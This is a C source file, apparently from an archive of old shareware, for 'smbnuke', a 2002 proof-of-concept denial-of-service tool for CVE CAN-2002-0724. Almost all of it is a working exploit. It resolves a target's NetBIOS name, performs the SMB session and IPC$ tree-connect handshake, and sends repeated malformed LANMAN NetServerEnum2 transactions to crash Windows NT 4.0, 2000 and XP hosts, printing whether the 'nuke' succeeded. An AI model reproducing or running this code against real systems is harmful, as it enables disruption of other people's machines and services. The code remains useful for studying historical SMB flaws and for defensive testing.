home *** CD-ROM | disk | FTP | other *** search
/ OS/2 Shareware BBS: 8 Other / 08-Other.zip / smbnuke.zip / smbnuke.c next >
C/C++ Source or Header  |  2002-11-21  |  23KB  |  909 lines

  1. /*
  2.  *   smbnuke.c -- Windows SMB Nuker (DoS) - Proof of concept
  3.  *   Copyright (C) 2002  Frederic Deletang (df@phear.org)
  4.  *
  5.  *   This program is free software; you can redistribute it and/or
  6.  *   modify it under the terms of the GNU General Public License
  7.  *   as published by the Free Software Foundation; either version 2 of
  8.  *   the License or (at your option) any later version.
  9.  *
  10.  *   This program is distributed in the hope that it will be
  11.  *   useful, but WITHOUT ANY WARRANTY; without even the implied warranty
  12.  *   of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  13.  *   GNU General Public License for more details.
  14.  *
  15.  *   You should have received a copy of the GNU General Public License
  16.  *   along with this program; if not, write to the Free Software
  17.  *   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
  18.  *   USA
  19.  */
  20.  
  21. /* NOTE:
  22.  * Compile this program using only GCC and no other compilers
  23.  * (except if you think this one supports the __attribute__ (( packed )) attribute)
  24.  * This program might not work on big-endian systems.
  25.  * It has been successfully tested from the following plateforms:
  26.  *     - Linux 2.4.18 / i686
  27.  *     - FreeBSD 4.6.1-RELEASE-p10 / i386
  28.  * Don't bother me if you can't get it to compile or work on Solaris using the SunWS compiler.
  29.  *
  30.  * Another thing: The word counts are hardcoded, careful if you hack the sources.
  31.  */
  32.  
  33. /* Copyright notice:
  34.  * some parts of this source (only two functions, name_len and name_mangle)
  35.  * has been taken from libsmb.  The rest, especially the structures has
  36.  * been written by me.
  37.  */
  38.  
  39. #include <stdio.h>
  40. #include <unistd.h>
  41. #include <sys/types.h>
  42. #include <sys/socket.h>
  43. #include <netdb.h>
  44. #include <fcntl.h>
  45. #include <stdlib.h>
  46. #include <ctype.h>
  47. #include <assert.h>
  48. #include <string.h>
  49. #include <errno.h>
  50. #include <time.h>
  51. #include <netinet/in.h>
  52. #include <arpa/inet.h>
  53. #include <string.h>
  54. #include <sys/time.h>
  55.  
  56. #define SESSION_REQUEST 0x81
  57.  
  58. #define SESSION_MESSAGE 0x00
  59.  
  60. #define SMB_NEGOTIATE_PROTOCOL 0x72
  61. #define SMB_SESSION_SETUP_ANDX 0x73
  62. #define SMB_TREE_CONNECT_ANDX 0x75
  63. #define SMB_COM_TRANSACTION 0x25
  64.  
  65. #define bswap16(x) \
  66.     ((((x) >> 8) & 0xff) | (((x) & 0xff) << 8))
  67.  
  68. typedef struct
  69. {
  70.   unsigned char server_component[4];
  71.   unsigned char command;
  72.   unsigned char error_class;
  73.   unsigned char reserved1;
  74.   uint16_t error_code;
  75.   uint8_t flags;
  76.   uint16_t flags2;
  77.   unsigned char reserved2[12];
  78.   uint16_t tree_id;
  79.   uint16_t proc_id;
  80.   uint16_t user_id;
  81.   uint16_t mpex_id;
  82. }
  83. __attribute__ ((packed)) smb_header;
  84.  
  85. typedef struct
  86. {
  87.   unsigned char type;
  88.   unsigned char flags;
  89.   unsigned short length;
  90.   unsigned char called[34];
  91.   unsigned char calling[34];
  92. }
  93. __attribute__ ((packed)) nbt_packet;
  94.  
  95. typedef struct
  96. {
  97.   /* wct: word count */
  98.   uint8_t wct;
  99.   unsigned char andx_command;
  100.   unsigned char reserved1;
  101.   uint16_t andx_offset;
  102.   uint16_t max_buffer;
  103.   uint16_t max_mpx_count;
  104.   uint16_t vc_number;
  105.   uint32_t session_key;
  106.   uint16_t ANSI_pwlen;
  107.   uint16_t UNI_pwlen;
  108.   unsigned char reserved2[4];
  109.   uint32_t capabilities;
  110.   /* bcc: byte count */
  111.   uint16_t bcc;
  112. }
  113. __attribute__ ((packed)) session_setup_andx_request;
  114.  
  115. typedef struct
  116. {
  117.   /* wct: word count */
  118.   uint8_t wct;
  119.   unsigned char andx_command;
  120.   unsigned char reserved1;
  121.   uint16_t andx_offset;
  122.   uint16_t flags;
  123.   uint16_t pwlen;
  124.   uint16_t bcc;
  125. }
  126. __attribute__ ((packed)) tree_connect_andx_request;
  127.  
  128. typedef struct
  129. {
  130.   /* wct: word count */
  131.   uint8_t wct;
  132.   uint16_t total_param_cnt;
  133.   uint16_t total_data_cnt;
  134.   uint16_t max_param_cnt;
  135.   uint16_t max_data_cnt;
  136.   uint8_t max_setup_cnt;
  137.   unsigned char reserved1;
  138.   uint16_t flags;
  139.   uint32_t timeout;
  140.   uint16_t reserved2;
  141.   uint16_t param_cnt;
  142.   uint16_t param_offset;
  143.   uint16_t data_cnt;
  144.   uint16_t data_offset;
  145.   uint8_t setup_count;
  146.   uint8_t reserved3;
  147.   /* bcc: byte count */
  148.   uint16_t bcc;
  149. }
  150. __attribute__ ((packed)) transaction_request;
  151.  
  152. typedef struct
  153. {
  154.   uint16_t function_code;
  155.   unsigned char param_descriptor[6];
  156.   unsigned char return_descriptor[7];
  157.   uint16_t detail_level;
  158.   uint16_t recv_buffer_len;
  159. }
  160. __attribute__ ((packed)) parameters;
  161.  
  162.  
  163. typedef struct
  164. {
  165.   uint8_t format;
  166.   unsigned char *name;
  167. }
  168. t_dialects;
  169.  
  170. t_dialects dialects[] = {
  171.   {2, "PC NETWORK PROGRAM 1.0"},
  172.   {2, "MICROSOFT NETWORKS 1.03"},
  173.   {2, "MICROSOFT NETWORKS 3.0"},
  174.   {2, "LANMAN1.0"},
  175.   {2, "LM1.2X002"},
  176.   {2, "Samba"},
  177.   {2, "NT LM 0.12"},
  178.   {2, "NT LANMAN 1.0"},
  179.   {0, NULL}
  180. };
  181.  
  182. enum
  183. {
  184.   STATE_REQUESTING_SESSION_SETUP = 1,
  185.   STATE_NEGOTIATING_PROTOCOL,
  186.   STATE_REQUESTING_SESSION_SETUP_ANDX,
  187.   STATE_REQUESTING_TREE_CONNECT_ANDX,
  188.   STATE_REQUESTING_TRANSACTION
  189. }
  190. status;
  191.  
  192. const unsigned char *global_scope = NULL;
  193.  
  194. /****************************************************************************
  195.  * return the total storage length of a mangled name - from smbclient
  196.  *
  197.  ****************************************************************************/
  198.  
  199. int
  200. name_len (char *s1)
  201. {
  202.   /* NOTE: this argument _must_ be unsigned */
  203.   unsigned char *s = (unsigned char *) s1;
  204.   int len;
  205.  
  206.   /* If the two high bits of the byte are set, return 2. */
  207.   if (0xC0 == (*s & 0xC0))
  208.     return (2);
  209.  
  210.   /* Add up the length bytes. */
  211.   for (len = 1; (*s); s += (*s) + 1)
  212.     {
  213.       len += *s + 1;
  214.       assert (len < 80);
  215.     }
  216.  
  217.   return (len);
  218. }                               /* name_len */
  219.  
  220.  
  221. /****************************************************************************
  222.  * mangle a name into netbios format - from smbclient 
  223.  *  Note:  <Out> must be (33 + strlen(scope) + 2) bytes long, at minimum.
  224.  *
  225.  ****************************************************************************/
  226.  
  227. int
  228. name_mangle (char *In, char *Out, char name_type)
  229. {
  230.   int i;
  231.   int c;
  232.   int len;
  233.   char buf[20];
  234.   char *p = Out;
  235.  
  236.   /* Safely copy the input string, In, into buf[]. */
  237.   (void) memset (buf, 0, 20);
  238.   if (strcmp (In, "*") == 0)
  239.     buf[0] = '*';
  240.   else
  241.     (void) snprintf (buf, sizeof (buf) - 1, "%-15.15s%c", In, name_type);
  242.  
  243.   /* Place the length of the first field into the output buffer. */
  244.   p[0] = 32;
  245.   p++;
  246.  
  247.   /* Now convert the name to the rfc1001/1002 format. */
  248.   for (i = 0; i < 16; i++)
  249.     {
  250.       c = toupper (buf[i]);
  251.       p[i * 2] = ((c >> 4) & 0x000F) + 'A';
  252.       p[(i * 2) + 1] = (c & 0x000F) + 'A';
  253.     }
  254.   p += 32;
  255.   p[0] = '\0';
  256.  
  257.   /* Add the scope string. */
  258.   for (i = 0, len = 0; NULL != global_scope; i++, len++)
  259.     {
  260.       switch (global_scope[i])
  261.         {
  262.         case '\0':
  263.           p[0] = len;
  264.           if (len > 0)
  265.             p[len + 1] = 0;
  266.           return (name_len (Out));
  267.         case '.':
  268.           p[0] = len;
  269.           p += (len + 1);
  270.           len = -1;
  271.           break;
  272.         default:
  273.           p[len + 1] = global_scope[i];
  274.           break;
  275.         }
  276.     }
  277.  
  278.   return (name_len (Out));
  279.  
  280. }
  281.  
  282. int
  283. tcp_connect (const char *rhost, unsigned short port)
  284. {
  285.   struct sockaddr_in dest;
  286.   struct hostent *host;
  287.   int fd;
  288.  
  289.   host = gethostbyname (rhost);
  290.   if (host == NULL)
  291.     {
  292.       fprintf (stderr, "Could not resolve host: %s\n", rhost);
  293.       return -1;
  294.     }
  295.  
  296.   dest.sin_family = AF_INET;
  297.   dest.sin_addr.s_addr = *(long *) (host->h_addr);
  298.   dest.sin_port = htons (port);
  299.  
  300.   fd = socket (AF_INET, SOCK_STREAM, 0);
  301.  
  302.   if (connect (fd, (struct sockaddr *) &dest, sizeof (dest)) < 0)
  303.     {
  304.       fprintf (stderr, "Could not connect to %s:%d - %s\n", rhost, port,
  305.                strerror (errno));
  306.       return -1;
  307.     }
  308.  
  309.   return fd;
  310. }
  311.  
  312. void
  313. build_smb_header (smb_header * hdr, uint8_t command, uint8_t flags,
  314.                   uint16_t flags2, uint16_t tree_id, uint16_t proc_id,
  315.                   uint16_t user_id, uint16_t mpex_id)
  316. {
  317.   memset (hdr, 0, sizeof (smb_header));
  318.  
  319.   /* SMB Header MAGIC. */
  320.   hdr->server_component[0] = 0xff;
  321.   hdr->server_component[1] = 'S';
  322.   hdr->server_component[2] = 'M';
  323.   hdr->server_component[3] = 'B';
  324.  
  325.   hdr->command = command;
  326.  
  327.   hdr->flags = flags;
  328.   hdr->flags2 = flags2;
  329.  
  330.   hdr->tree_id = tree_id;
  331.   hdr->proc_id = proc_id;
  332.   hdr->user_id = user_id;
  333.   hdr->mpex_id = mpex_id;
  334. }
  335.  
  336. unsigned char *
  337. push_string (unsigned char *stack, unsigned char *string)
  338. {
  339.   strcpy (stack, string);
  340.   return stack + strlen (stack) + 1;
  341. }
  342.  
  343. void
  344. request_session_setup (int fd, char *netbios_name)
  345. {
  346.   nbt_packet pkt;
  347.  
  348.   pkt.type = SESSION_REQUEST;
  349.   pkt.flags = 0x00;
  350.   pkt.length = bswap16 (sizeof (nbt_packet));
  351.   name_mangle (netbios_name, pkt.called, 0x20);
  352.   name_mangle ("", pkt.calling, 0x00);
  353.   write (fd, &pkt, sizeof (nbt_packet));
  354.  
  355. }
  356.  
  357. void
  358. negotiate_protocol (unsigned char *buffer, int fd)
  359. {
  360.   smb_header hdr;
  361.   unsigned char *p;
  362.   uint16_t proc_id, mpex_id;
  363.   int i;
  364.  
  365.   proc_id = (uint16_t) rand ();
  366.   mpex_id = (uint16_t) rand ();
  367.  
  368.   buffer[0] = SESSION_MESSAGE;
  369.   buffer[1] = 0x0;
  370.  
  371.   build_smb_header (&hdr, SMB_NEGOTIATE_PROTOCOL, 0, 0, 0, proc_id, 0,
  372.                     mpex_id);
  373.  
  374.   memcpy (buffer + 4, &hdr, sizeof (smb_header));
  375.  
  376.   p = buffer + 4 + sizeof (smb_header) + 3;
  377.  
  378.   for (i = 0; dialects[i].name != NULL; i++)
  379.     {
  380.       *p = dialects[i].format;
  381.       strcpy (p + 1, dialects[i].name);
  382.       p += strlen (dialects[i].name) + 2;
  383.     }
  384.  
  385.   /* Set the word count */
  386.   *(uint8_t *) (buffer + 4 + sizeof (smb_header)) = 0;
  387.  
  388.   /* Set the byte count */
  389.   *(uint16_t *) (buffer + 4 + sizeof (smb_header) + 1) =
  390.     (uint16_t) (p - buffer - 4 - sizeof (smb_header) - 3);
  391.  
  392.   *(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (p - buffer - 4));
  393.  
  394.   write (fd, buffer, p - buffer);
  395.  
  396. }
  397.  
  398. void
  399. request_session_setup_andx (unsigned char *buffer, int fd)
  400. {
  401.   smb_header hdr;
  402.   session_setup_andx_request ssar;
  403.   uint16_t proc_id, mpex_id;
  404.   unsigned char *p;
  405.  
  406.   proc_id = (uint16_t) rand ();
  407.   mpex_id = (uint16_t) rand ();
  408.  
  409.   build_smb_header (&hdr, SMB_SESSION_SETUP_ANDX, 0x08, 0x0001, 0, proc_id, 0,
  410.                     mpex_id);
  411.  
  412.   buffer[0] = SESSION_MESSAGE;
  413.   buffer[1] = 0x0;
  414.  
  415.   memcpy (buffer + 4, &hdr, sizeof (smb_header));
  416.  
  417.   p = buffer + 4 + sizeof (smb_header);
  418.  
  419.   memset (&ssar, 0, sizeof (session_setup_andx_request));
  420.   ssar.wct = 13;
  421.   ssar.andx_command = 0xff;     /* No further commands */
  422.   ssar.max_buffer = 65535;
  423.   ssar.max_mpx_count = 2;
  424.   ssar.vc_number = 1025;
  425.  
  426.   ssar.ANSI_pwlen = 1;
  427.  
  428.   p = buffer + 4 + sizeof (smb_header) + sizeof (session_setup_andx_request);
  429.  
  430.   /* Ansi password */
  431.   p = push_string (p, "");
  432.  
  433.   /* Account */
  434.   p = push_string (p, "");
  435.  
  436.   /* Primary domain */
  437.   p = push_string (p, "WORKGROUP");
  438.  
  439.   /* Native OS */
  440.   p = push_string (p, "Unix");
  441.  
  442.   /* Native Lan Manager */
  443.   p = push_string (p, "Samba");
  444.  
  445.   ssar.bcc =
  446.     p - buffer - 4 - sizeof (smb_header) -
  447.     sizeof (session_setup_andx_request);
  448.  
  449.   memcpy (buffer + 4 + sizeof (smb_header), &ssar,
  450.           sizeof (session_setup_andx_request));
  451.  
  452.   /* Another byte count */
  453.   *(uint16_t *) (buffer + 2) =
  454.     bswap16 ((uint16_t)
  455.              (sizeof (session_setup_andx_request) + sizeof (smb_header) +
  456.               ssar.bcc));
  457.  
  458.   write (fd, buffer,
  459.          sizeof (session_setup_andx_request) + sizeof (smb_header) + 4 +
  460.          ssar.bcc);
  461. }
  462.  
  463. void
  464. request_tree_connect_andx (unsigned char *buffer, int fd,
  465.                            const char *netbios_name)
  466. {
  467.   smb_header hdr;
  468.   tree_connect_andx_request tcar;
  469.   uint16_t proc_id, user_id;
  470.   unsigned char *p, *q;
  471.  
  472.   proc_id = (uint16_t) rand ();
  473.   user_id = ((smb_header *) (buffer + 4))->user_id;
  474.  
  475.   build_smb_header (&hdr, SMB_TREE_CONNECT_ANDX, 0x18, 0x2001, 0, proc_id,
  476.                     user_id, 0);
  477.  
  478.   buffer[0] = SESSION_MESSAGE;
  479.   buffer[1] = 0x0;
  480.  
  481.   memcpy (buffer + 4, &hdr, sizeof (smb_header));
  482.  
  483.   memset (&tcar, 0, sizeof (tree_connect_andx_request));
  484.  
  485.   tcar.wct = 4;
  486.   tcar.andx_command = 0xff;     /* No further commands */
  487.   tcar.pwlen = 1;
  488.  
  489.   p = buffer + 4 + sizeof (smb_header) + sizeof (tree_connect_andx_request);
  490.  
  491.   /* Password */
  492.   p = push_string (p, "");
  493.  
  494.   /* Path */
  495.   q = malloc (8 + strlen (netbios_name));
  496.  
  497.   sprintf (q, "\\\\%s\\IPC$", netbios_name);
  498.   p = push_string (p, q);
  499.  
  500.   free (q);
  501.  
  502.   /* Service */
  503.   p = push_string (p, "IPC");
  504.  
  505.   tcar.bcc =
  506.     p - buffer - 4 - sizeof (smb_header) - sizeof (tree_connect_andx_request);
  507.  
  508.   memcpy (buffer + 4 + sizeof (smb_header), &tcar,
  509.           sizeof (tree_connect_andx_request));
  510.  
  511.   /* Another byte count */
  512.   *(uint16_t *) (buffer + 2) =
  513.     bswap16 ((uint16_t)
  514.              (sizeof (tree_connect_andx_request) + sizeof (smb_header) +
  515.               tcar.bcc));
  516.  
  517.   write (fd, buffer,
  518.          sizeof (tree_connect_andx_request) + sizeof (smb_header) + 4 +
  519.          tcar.bcc);
  520. }
  521.  
  522. void
  523. request_transaction (unsigned char *buffer, int fd)
  524. {
  525.   smb_header hdr;
  526.   transaction_request transaction;
  527.   parameters params;
  528.   uint16_t proc_id, tree_id, user_id;
  529.   unsigned char *p;
  530.  
  531.   proc_id = (uint16_t) rand ();
  532.   tree_id = ((smb_header *) (buffer + 4))->tree_id;
  533.   user_id = ((smb_header *) (buffer + 4))->user_id;
  534.  
  535.   build_smb_header (&hdr, SMB_COM_TRANSACTION, 0, 0, tree_id, proc_id,
  536.                     user_id, 0);
  537.  
  538.   buffer[0] = SESSION_MESSAGE;
  539.   buffer[1] = 0x0;
  540.  
  541.   memcpy (buffer + 4, &hdr, sizeof (smb_header));
  542.  
  543.   memset (&transaction, 0, sizeof (transaction_request));
  544.  
  545.   transaction.wct = 14;
  546.   transaction.total_param_cnt = 19; /* Total lenght of parameters */
  547.   transaction.param_cnt = 19; /* Lenght of parameter */
  548.  
  549.   p = buffer + 4 + sizeof (smb_header) + sizeof (transaction_request);
  550.  
  551.   /* Transaction name */
  552.   p = push_string (p, "\\PIPE\\LANMAN");
  553.  
  554.   transaction.param_offset = p - buffer - 4;
  555.  
  556.   params.function_code = (uint16_t) 0x68;       /* NetServerEnum2 */
  557.   strcpy (params.param_descriptor, "WrLeh");    /* RAP_NetGroupEnum_REQ  */
  558.   strcpy (params.return_descriptor, "B13BWz");  /* RAP_SHARE_INFO_L1 */
  559.   params.detail_level = 1;
  560.   params.recv_buffer_len = 50000;
  561.  
  562.   memcpy (p, ¶ms, sizeof (parameters));
  563.  
  564.   p += transaction.param_cnt;
  565.  
  566.   transaction.data_offset = p - buffer - 4;
  567.  
  568.   transaction.bcc =
  569.     p - buffer - 4 - sizeof (smb_header) - sizeof (transaction_request);
  570.  
  571.   memcpy (buffer + 4 + sizeof (smb_header), &transaction,
  572.           sizeof (transaction_request));
  573.  
  574.   /* Another byte count */
  575.   *(uint16_t *) (buffer + 2) =
  576.     bswap16 ((uint16_t)
  577.              (sizeof (transaction_request) + sizeof (smb_header) +
  578.               transaction.bcc));
  579.  
  580.   write (fd, buffer,
  581.          sizeof (transaction_request) + sizeof (smb_header) + 4 +
  582.          transaction.bcc);
  583. }
  584.  
  585. typedef struct
  586. {
  587.   uint16_t transaction_id;
  588.   uint16_t flags;
  589.   uint16_t questions;
  590.   uint16_t answerRRs;
  591.   uint16_t authorityRRs;
  592.   uint16_t additionalRRs;
  593.  
  594.   unsigned char query[32];
  595.   uint16_t name;
  596.   uint16_t type;
  597.   uint16_t class;
  598. }
  599. __attribute__ ((packed)) nbt_name_query;
  600.  
  601. typedef struct
  602. {
  603.   nbt_name_query answer;
  604.   uint32_t ttl;
  605.   uint16_t datalen;
  606.   uint8_t names;
  607. }
  608. __attribute__ ((packed)) nbt_name_query_answer;
  609.  
  610. char *
  611. list_netbios_names (unsigned char *buffer, size_t size, const char *rhost,
  612.                     unsigned short port, unsigned int timeout)
  613. {
  614.   nbt_name_query query;
  615.   struct sockaddr_in dest;
  616.   struct hostent *host;
  617.   int fd, i;
  618.  
  619.   fd_set rfds;
  620.   struct timeval tv;
  621.  
  622.   printf ("Trying to list netbios names on %s\n", rhost);
  623.  
  624.   host = gethostbyname (rhost);
  625.   if (host == NULL)
  626.     {
  627.       fprintf (stderr, "Could not resolve host: %s\n", rhost);
  628.       return NULL;
  629.     }
  630.  
  631.   memset (&dest, 0, sizeof (struct sockaddr_in));
  632.  
  633.   dest.sin_family = AF_INET;
  634.   dest.sin_addr.s_addr = *(long *) (host->h_addr);
  635.   dest.sin_port = htons (port);
  636.  
  637.   if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) < 0)
  638.     {
  639.       fprintf (stderr, "Could not setup the UDP socket: %s\n",
  640.                strerror (errno));
  641.       return NULL;
  642.     }
  643.  
  644.   memset (&query, 0, sizeof (nbt_name_query));
  645.  
  646.   query.transaction_id = (uint16_t) bswap16 (0x1e);     //rand();
  647.   query.flags = bswap16 (0x0010);
  648.   query.questions = bswap16 (1);
  649.  
  650.   name_mangle ("*", query.query, 0);
  651.   query.type = bswap16 (0x21);
  652.   query.class = bswap16 (0x01);
  653.  
  654.   if (sendto
  655.       (fd, &query, sizeof (nbt_name_query), 0, (struct sockaddr *) &dest,
  656.        sizeof (struct sockaddr_in)) != sizeof (nbt_name_query))
  657.     {
  658.       fprintf (stderr, "Could not send UDP packet: %s\n", strerror (errno));
  659.       return NULL;
  660.     }
  661.  
  662.   /* Now, wait for an answer -- add a timeout to 10 seconds */
  663.  
  664.   FD_ZERO (&rfds);
  665.   FD_SET (fd, &rfds);
  666.  
  667.   tv.tv_sec = timeout;
  668.   tv.tv_usec = 0;
  669.  
  670.   if (!select (fd + 1, &rfds, NULL, NULL, &tv))
  671.     {
  672.       fprintf (stderr,
  673.                "The udp read has reached the timeout - try setting the netbios name manually - exiting...\n");
  674.       return NULL;
  675.     }
  676.  
  677.   recvfrom (fd, buffer, size, 0, NULL, NULL);
  678.  
  679.   for (i = 0; i < ((nbt_name_query_answer *) buffer)->names; i++)
  680.     if ((uint8_t) * (buffer + sizeof (nbt_name_query_answer) + 18 * i + 15) ==
  681.         0x20)
  682.       return buffer + sizeof (nbt_name_query_answer) + 18 * i;
  683.  
  684.   printf ("No netbios name available for use - you probably won't be able to crash this host\n");
  685.   printf ("However, you can try setting one manually\n");
  686.   
  687.   return NULL;
  688. }
  689.  
  690. char *
  691. extract_name (const char *name)
  692. {
  693.   int i;
  694.   char *p = malloc(14);
  695.  
  696.   for (i = 0; i < 14; i++)
  697.     if (name[i] == ' ')
  698.       break;
  699.      else
  700.       p[i] = name[i];
  701.  
  702.   p[i] = '\0';
  703.  
  704.   return p;
  705. }
  706.  
  707. void
  708. print_banner (void)
  709. {
  710.   printf ("Windows SMB Nuker (DoS) - Proof of concept - CVE CAN-2002-0724\n");
  711.   printf ("Copyright 2002 - Frederic Deletang (df@phear.org) - 28/08/2002\n\n");
  712. }
  713.  
  714. int
  715. is_smb_header (const unsigned char *buffer, int len)
  716. {
  717.   if (len < sizeof (smb_header))
  718.     return 0;
  719.  
  720.   if (buffer[0] == 0xff && buffer[1] == 'S' && buffer[2] == 'M'
  721.       && buffer[3] == 'B')
  722.     return 1;
  723.   else
  724.     return 0;
  725. }
  726.  
  727. int
  728. main (int argc, char **argv)
  729. {
  730.   int fd, r, i, c;
  731.   unsigned char buffer[1024 * 4];       /* Enough. */
  732.   char *hostname = NULL, *name = NULL;
  733.  
  734.   unsigned int showhelp = 0;
  735.  
  736.   unsigned int packets = 10;
  737.   unsigned int state;
  738.  
  739.   unsigned int udp_timeout = 10;
  740.   unsigned int tcp_timeout = 10;
  741.  
  742.   unsigned short netbios_ssn_port = 139;
  743.   unsigned short netbios_ns_port = 137;
  744.  
  745.   fd_set rfds;
  746.   struct timeval tv;
  747.  
  748.   srand (time (NULL));
  749.  
  750.   print_banner ();
  751.  
  752.   while ((c = getopt (argc, argv, "N:n:p:P:t:T:h")) != -1)
  753.     {
  754.       switch (c)
  755.         {
  756.         case 'N':
  757.           name = optarg;
  758.           break;
  759.         case 'n':
  760.           packets = atoi (optarg);
  761.           break;
  762.         case 'p':
  763.           netbios_ns_port = atoi (optarg);
  764.           break;
  765.         case 'P':
  766.           netbios_ssn_port = atoi (optarg);
  767.           break;
  768.         case 't':
  769.           udp_timeout = atoi (optarg);
  770.           break;
  771.         case 'T':
  772.           tcp_timeout = atoi (optarg);
  773.           break;
  774.         case 'h':
  775.         default:
  776.           showhelp = 1;
  777.           break;
  778.         }
  779.     }
  780.  
  781.   if (optind < argc)
  782.       hostname = argv[optind++];
  783.   
  784.   if (showhelp || hostname == NULL)
  785.     {
  786.       printf ("Usage: %s [options] hostname/ip...\n", argv[0]);
  787.       printf
  788.         ("   -N [netbios-name]         Netbios Name (default: ask the remote host)\n");
  789.       printf
  790.         ("   -n [packets]              Number of crafted packets to send (default: %d)\n",
  791.          packets);
  792.       printf
  793.         ("   -p [netbios-ns port]      UDP Port to query (default: %d)\n",
  794.          netbios_ns_port);
  795.       printf
  796.         ("   -P [netbios-ssn port]     TCP Port to query (default: %d)\n",
  797.          netbios_ssn_port);
  798.       printf
  799.         ("   -t [udp-timeout]          Timeout to wait for receive on UDP ports (default: %d)\n",
  800.          udp_timeout);
  801.       printf
  802.         ("   -T [tcp-timeout]          Timeout to wait for receive on TCP ports (default: %d\n",
  803.          tcp_timeout);
  804.       printf ("\n");
  805.       printf ("Known vulnerable systems: \n");
  806.       printf ("    - Windows NT 4.0 Workstation/Server\n");
  807.       printf ("    - Windows 2000 Professional/Advanced Server\n");
  808.       printf ("    - Windows XP Professional/Home edition\n\n");
  809.       exit (1);
  810.     }
  811.  
  812.   if (!name
  813.       && (name =
  814.           list_netbios_names (buffer, sizeof (buffer), hostname,
  815.                               netbios_ns_port, udp_timeout)) == NULL)
  816.     exit (1);
  817.   else
  818.     name = extract_name (name);
  819.  
  820.   printf ("Using netbios name: %s\n", name);
  821.  
  822.   printf ("Connecting to remote host (%s:%d)...\n", hostname,
  823.           netbios_ssn_port);
  824.  
  825.   fd = tcp_connect (hostname, netbios_ssn_port);
  826.  
  827.   if (fd == -1)
  828.     exit (1);
  829.  
  830.  
  831.   FD_ZERO (&rfds);
  832.   FD_SET (fd, &rfds);
  833.  
  834.   tv.tv_sec = tcp_timeout;
  835.   tv.tv_usec = 0;
  836.  
  837.   state = STATE_REQUESTING_SESSION_SETUP;
  838.  
  839.   request_session_setup (fd, name);
  840.  
  841.   for (;;)
  842.     {
  843.       if (!select (fd + 1, &rfds, NULL, NULL, &tv))
  844.         {
  845.           if (state == STATE_REQUESTING_TRANSACTION)
  846.             {
  847.               fprintf (stderr,
  848.                        "Timeout during TCP read - Seems like the remote host has crashed\n");
  849.               return 0;
  850.             }
  851.           else
  852.             {
  853.               fprintf (stderr,
  854.                        "Nuke failed (tcp timeout) at state %#02x, exiting...\n",
  855.                        state);
  856.               return 1;
  857.             }
  858.         }
  859.  
  860.       r = read (fd, buffer, sizeof (buffer));
  861.  
  862.       if (r == 0)
  863.         {
  864.           printf
  865.             ("Nuke failed at state %#02x (EOF, wrong netbios name ?), exiting...\n",
  866.              state);
  867.           exit (1);
  868.         }
  869.  
  870.       if (((smb_header *) (buffer + 4))->error_class != 0)
  871.         {
  872.           fprintf (stderr, "Nuke failed at state %#02x, exiting...\n", state);
  873.           exit (1);
  874.         }
  875.  
  876.       switch (state)
  877.         {
  878.         case STATE_REQUESTING_SESSION_SETUP:
  879.           printf ("Negotiating protocol...\n");
  880.           negotiate_protocol (buffer, fd);
  881.           break;
  882.         case STATE_NEGOTIATING_PROTOCOL:
  883.           printf ("Requesting session setup (AndX)\n");
  884.           request_session_setup_andx (buffer, fd);
  885.           break;
  886.         case STATE_REQUESTING_SESSION_SETUP_ANDX:
  887.           printf ("Requesting tree connect (AndX)\n");
  888.           request_tree_connect_andx (buffer, fd, name);
  889.           break;
  890.         case STATE_REQUESTING_TREE_CONNECT_ANDX:
  891.           for (i = 0; i < packets; i++)
  892.             {
  893.               printf ("Requesting transaction (nuking) #%d\n", i + 1);
  894.               request_transaction (buffer, fd);
  895.             }
  896.         printf ("Wait...\n");
  897.           break;
  898.         default:
  899.           printf ("Seems like the nuke failed :/ (patched ?)\n");
  900.       exit (1);
  901.         }
  902.  
  903.       state++;
  904.     }
  905.  
  906.   return 0;
  907. }
  908.  
  909.